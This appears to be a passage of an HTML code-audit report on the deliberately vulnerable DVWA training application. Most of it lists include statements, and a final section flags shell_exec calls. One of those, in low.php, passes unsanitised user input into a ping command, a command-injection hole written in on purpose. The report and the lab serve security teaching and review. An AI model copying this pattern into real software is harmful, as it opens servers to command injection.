<div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Caching/Database.php</span>:<span class='line_number'>34</span> <span class='match_count'>(43/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>31- * @link http://php-ids.org/ 32- */ 33- 34:<span class='match_highlight'>require_once</span> 'IDS/Caching/Interface.php'; 35- 36-/** 37- * Needed SQL:</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier.includes.php</span>:<span class='line_number'>14</span> <span class='match_count'>(44/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>11- * 12- * @warning 13- * You must *not* include any other HTML Purifier files before this file, 14: * because 'require' not '<span class='match_highlight'>require_once</span>' is used. 15- * 16- * @warning 17- * This file requires that the include path contains the HTML Purifier</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier.safe-includes.php</span>:<span class='line_number'>7</span> <span class='match_count'>(45/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>4- * @file 5- * This file was auto-generated by generate-includes.php and includes all of 6- * the core files required by HTML Purifier. This is a convenience stub that 7: * includes all files using dirname(__FILE__) and <span class='match_highlight'>require_once</span>. PLEASE DO NOT 8- * EDIT THIS FILE, changes will be overwritten the next time the script is run. 9- * 10- * Changes to include_path are not necessary.</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier.safe-includes.php</span>:<span class='line_number'>15</span> <span class='match_count'>(46/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>12- 13-$__dir = dirname(__FILE__); 14- 15:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier.php'; 16:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrCollections.php'; 17:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrDef.php'; 18:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrTransform.php'; 19:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrTypes.php'; 20:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrValidator.php'; 21:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/Bootstrap.php'; 22:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/Definition.php'; 23:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/CSSDefinition.php'; 24:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/ChildDef.php'; 25:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/Config.php'; 26:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/ConfigSchema.php'; 27:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/ContentSets.php'; 28:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/Context.php'; 29:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/DefinitionCache.php'; 30:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/DefinitionCacheFactory.php'; 31:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/Doctype.php'; 32:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/DoctypeRegistry.php'; 33:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/ElementDef.php'; 34:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/Encoder.php'; 35:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/EntityLookup.php'; 36:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/EntityParser.php'; 37:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/ErrorCollector.php'; 38:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/ErrorStruct.php'; 39:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/Exception.php'; 40:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/Filter.php'; 41:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/Generator.php'; 42:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/HTMLDefinition.php'; 43:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/HTMLModule.php'; 44:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/HTMLModuleManager.php'; 45:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/IDAccumulator.php'; 46:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/Injector.php'; 47:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/Language.php'; 48:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/LanguageFactory.php'; 49:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/Length.php'; 50:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/Lexer.php'; 51:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/PercentEncoder.php'; 52:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/Strategy.php'; 53:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/StringHash.php'; 54:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/StringHashParser.php'; 55:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/TagTransform.php'; 56:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/Token.php'; 57:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/TokenFactory.php'; 58:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/URI.php'; 59:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/URIDefinition.php'; 60:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/URIFilter.php'; 61:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/URIParser.php'; 62:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/URIScheme.php'; 63:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/URISchemeRegistry.php'; 64:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/UnitConverter.php'; 65:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/VarParser.php'; 66:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/VarParserException.php'; 67:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrDef/CSS.php'; 68:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrDef/Enum.php'; 69:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrDef/Integer.php'; 70:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrDef/Lang.php'; 71:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrDef/Switch.php'; 72:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrDef/Text.php'; 73:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrDef/URI.php'; 74:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrDef/CSS/Number.php'; 75:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrDef/CSS/AlphaValue.php'; 76:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrDef/CSS/Background.php'; 77:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrDef/CSS/BackgroundPosition.php'; 78:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrDef/CSS/Border.php'; 79:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrDef/CSS/Color.php'; 80:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrDef/CSS/Composite.php'; 81:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrDef/CSS/DenyElementDecorator.php'; 82:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrDef/CSS/Filter.php'; 83:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrDef/CSS/Font.php'; 84:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrDef/CSS/FontFamily.php'; 85:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrDef/CSS/ImportantDecorator.php'; 86:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrDef/CSS/Length.php'; 87:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrDef/CSS/ListStyle.php'; 88:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrDef/CSS/Multiple.php'; 89:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrDef/CSS/Percentage.php'; 90:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrDef/CSS/TextDecoration.php'; 91:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrDef/CSS/URI.php'; 92:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrDef/HTML/Bool.php'; 93:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrDef/HTML/Color.php'; 94:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrDef/HTML/FrameTarget.php'; 95:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrDef/HTML/ID.php'; 96:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrDef/HTML/Pixels.php'; 97:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrDef/HTML/Length.php'; 98:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrDef/HTML/LinkTypes.php'; 99:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrDef/HTML/MultiLength.php'; 100:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrDef/HTML/Nmtokens.php'; 101:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrDef/URI/Email.php'; 102:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrDef/URI/Host.php'; 103:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrDef/URI/IPv4.php'; 104:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrDef/URI/IPv6.php'; 105:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrDef/URI/Email/SimpleCheck.php'; 106:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrTransform/Background.php'; 107:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrTransform/BdoDir.php'; 108:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrTransform/BgColor.php'; 109:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrTransform/BoolToCSS.php'; 110:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrTransform/Border.php'; 111:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrTransform/EnumToCSS.php'; 112:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrTransform/ImgRequired.php'; 113:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrTransform/ImgSpace.php'; 114:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrTransform/Input.php'; 115:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrTransform/Lang.php'; 116:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrTransform/Length.php'; 117:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrTransform/Name.php'; 118:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrTransform/SafeEmbed.php'; 119:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrTransform/SafeObject.php'; 120:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrTransform/SafeParam.php'; 121:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrTransform/ScriptRequired.php'; 122:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/AttrTransform/Textarea.php'; 123:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/ChildDef/Chameleon.php'; 124:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/ChildDef/Custom.php'; 125:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/ChildDef/Empty.php'; 126:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/ChildDef/Required.php'; 127:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/ChildDef/Optional.php'; 128:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/ChildDef/StrictBlockquote.php'; 129:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/ChildDef/Table.php'; 130:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/DefinitionCache/Decorator.php'; 131:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/DefinitionCache/Null.php'; 132:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/DefinitionCache/Serializer.php'; 133:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/DefinitionCache/Decorator/Cleanup.php'; 134:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/DefinitionCache/Decorator/Memory.php'; 135:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/HTMLModule/Bdo.php'; 136:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/HTMLModule/CommonAttributes.php'; 137:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/HTMLModule/Edit.php'; 138:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/HTMLModule/Forms.php'; 139:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/HTMLModule/Hypertext.php'; 140:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/HTMLModule/Image.php'; 141:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/HTMLModule/Legacy.php'; 142:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/HTMLModule/List.php'; 143:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/HTMLModule/Name.php'; 144:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/HTMLModule/NonXMLCommonAttributes.php'; 145:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/HTMLModule/Object.php'; 146:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/HTMLModule/Presentation.php'; 147:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/HTMLModule/Proprietary.php'; 148:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/HTMLModule/Ruby.php'; 149:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/HTMLModule/SafeEmbed.php'; 150:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/HTMLModule/SafeObject.php'; 151:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/HTMLModule/Scripting.php'; 152:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/HTMLModule/StyleAttribute.php'; 153:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/HTMLModule/Tables.php'; 154:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/HTMLModule/Target.php'; 155:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/HTMLModule/Text.php'; 156:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/HTMLModule/Tidy.php'; 157:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/HTMLModule/XMLCommonAttributes.php'; 158:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/HTMLModule/Tidy/Name.php'; 159:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/HTMLModule/Tidy/Proprietary.php'; 160:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/HTMLModule/Tidy/XHTMLAndHTML4.php'; 161:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/HTMLModule/Tidy/Strict.php'; 162:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/HTMLModule/Tidy/Transitional.php'; 163:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/HTMLModule/Tidy/XHTML.php'; 164:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/Injector/AutoParagraph.php'; 165:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/Injector/DisplayLinkURI.php'; 166:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/Injector/Linkify.php'; 167:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/Injector/PurifierLinkify.php'; 168:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/Injector/RemoveEmpty.php'; 169:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/Injector/SafeObject.php'; 170:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/Lexer/DOMLex.php'; 171:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/Lexer/DirectLex.php'; 172:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/Strategy/Composite.php'; 173:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/Strategy/Core.php'; 174:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/Strategy/FixNesting.php'; 175:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/Strategy/MakeWellFormed.php'; 176:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/Strategy/RemoveForeignElements.php'; 177:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/Strategy/ValidateAttributes.php'; 178:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/TagTransform/Font.php'; 179:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/TagTransform/Simple.php'; 180:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/Token/Comment.php'; 181:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/Token/Tag.php'; 182:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/Token/Empty.php'; 183:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/Token/End.php'; 184:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/Token/Start.php'; 185:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/Token/Text.php'; 186:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/URIFilter/DisableExternal.php'; 187:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/URIFilter/DisableExternalResources.php'; 188:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/URIFilter/HostBlacklist.php'; 189:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/URIFilter/MakeAbsolute.php'; 190:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/URIFilter/Munge.php'; 191:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/URIScheme/ftp.php'; 192:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/URIScheme/http.php'; 193:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/URIScheme/https.php'; 194:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/URIScheme/mailto.php'; 195:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/URIScheme/news.php'; 196:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/URIScheme/nntp.php'; 197:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/VarParser/Flexible.php'; 198:<span class='match_highlight'>require_once</span> $__dir . '/HTMLPurifier/VarParser/Native.php';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier.kses.php</span>:<span class='line_number'>8</span> <span class='match_count'>(47/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>5- * Emulation layer for code that used kses(), substituting in HTML Purifier. 6- */ 7- 8:<span class='match_highlight'>require_once</span> dirname(__FILE__) . '/HTMLPurifier.auto.php'; 9- 10-function kses($string, $allowed_html, $allowed_protocols = null) { 11- $config = HTMLPurifier_Config::createDefault();</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier.auto.php</span>:<span class='line_number'>8</span> <span class='match_count'>(48/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>5- */ 6- 7-set_include_path(dirname(__FILE__) . PATH_SEPARATOR . get_include_path() ); 8:<span class='match_highlight'>require_once</span> 'HTMLPurifier/Bootstrap.php'; 9:<span class='match_highlight'>require_once</span> 'HTMLPurifier.autoload.php';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Log/Composite.php</span>:<span class='line_number'>34</span> <span class='match_count'>(49/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>31- * @link http://php-ids.org/ 32- */ 33- 34:<span class='match_highlight'>require_once</span> 'IDS/Log/Interface.php'; 35- 36-/** 37- * Log Composite</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Log/File.php</span>:<span class='line_number'>34</span> <span class='match_count'>(50/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>31- * @link http://php-ids.org/ 32- */ 33- 34:<span class='match_highlight'>require_once</span> 'IDS/Log/Interface.php'; 35- 36-/** 37- * File logging wrapper</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Log/Email.php</span>:<span class='line_number'>34</span> <span class='match_count'>(51/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>31- * @link http://php-ids.org/ 32- */ 33- 34:<span class='match_highlight'>require_once</span> 'IDS/Log/Interface.php'; 35- 36-/** 37- * Email logging wrapper</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Log/Database.php</span>:<span class='line_number'>34</span> <span class='match_count'>(52/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>31- * @link http://php-ids.org/ 32- */ 33- 34:<span class='match_highlight'>require_once</span> 'IDS/Log/Interface.php'; 35- 36-/* 37- * Needed SQL:</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./setup.php</span>:<span class='line_number'>4</span> <span class='match_count'>(53/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '' ); 4:<span class='match_highlight'>require_once</span> DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./phpinfo.php</span>:<span class='line_number'>3</span> <span class='match_count'>(54/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2-define( 'DVWA_WEB_PAGE_TO_ROOT', '' ); 3:<span class='match_highlight'>require_once</span> DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 4- 5-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 6-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/dvwaPage.inc.php</span>:<span class='line_number'>15</span> <span class='match_count'>(55/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>12- 13- 14-// Include configs 15:<span class='match_highlight'>require_once</span> DVWA_WEB_PAGE_TO_ROOT.'config/config.inc.php'; 16- 17:<span class='match_highlight'>require_once</span>( 'dvwaPhpIds.inc.php' ); 18- 19-// Declare the $html variable 20-if(!isset($html)){</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/dvwaPhpIds.inc.php</span>:<span class='line_number'>14</span> <span class='match_count'>(56/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>11-// Add PHPIDS to include path 12-set_include_path( get_include_path().PATH_SEPARATOR.DVWA_WEB_PAGE_TO_PHPIDS.'lib/' ); 13- 14:<span class='match_highlight'>require_once</span> 'IDS/Init.php'; 15- 16-function dvwaPhpIdsVersionGet() { 17- return '0.6';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/dvwaPhpIds.inc.php</span>:<span class='line_number'>74</span> <span class='match_count'>(57/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>71- $result = $ids->run(); 72- 73- if (!$result->isEmpty()) { 74: <span class='match_highlight'>require_once</span> 'IDS/Log/File.php'; 75: <span class='match_highlight'>require_once</span> 'IDS/Log/Composite.php'; 76- 77- $compositeLog = new IDS_Log_Composite(); 78- $compositeLog->addLogger(IDS_Log_File::getInstance($init));</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./logout.php</span>:<span class='line_number'>4</span> <span class='match_count'>(58/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '' ); 4:<span class='match_highlight'>require_once</span> DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'phpids' ) ); 7-</code></pre> </div> </div> </div> </div> <div class='signature_b4d770a2d48bac7142d51796f2babb9c signature_group_dangerous_functions signature_group'> <a name='s-b4d770a2d48bac7142d51796f2babb9c'></a> <h3> <code>shell_exec(</code> <span class='signature_count'>(3)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("php","b4d770a2d48bac7142d51796f2babb9c")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/exec/source/low.php</span>:<span class='line_number'>10</span> <span class='match_count'>(1/3)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>8- if (stristr(php_uname('s'), 'Windows NT')) { 9- 10: $cmd = <span class='match_highlight'>shell_exec(</span> 'ping ' . $target ); 11- $html .= '<pre>'.$cmd.'</pre>'; 12- 13- } else { 14- 15: $cmd = <span class='match_highlight'>shell_exec(</span> 'ping -c 3 ' . $target ); 16- $html .= '<pre>'.$cmd.'</pre>'; 17- 18- }</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/exec/source/high.php</span>:<span class='line_number'>23</span> <span class='match_count'>(2/3)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>20- // Determine OS and execute the ping command. 21- if (stristr(php_uname('s'), 'Windows 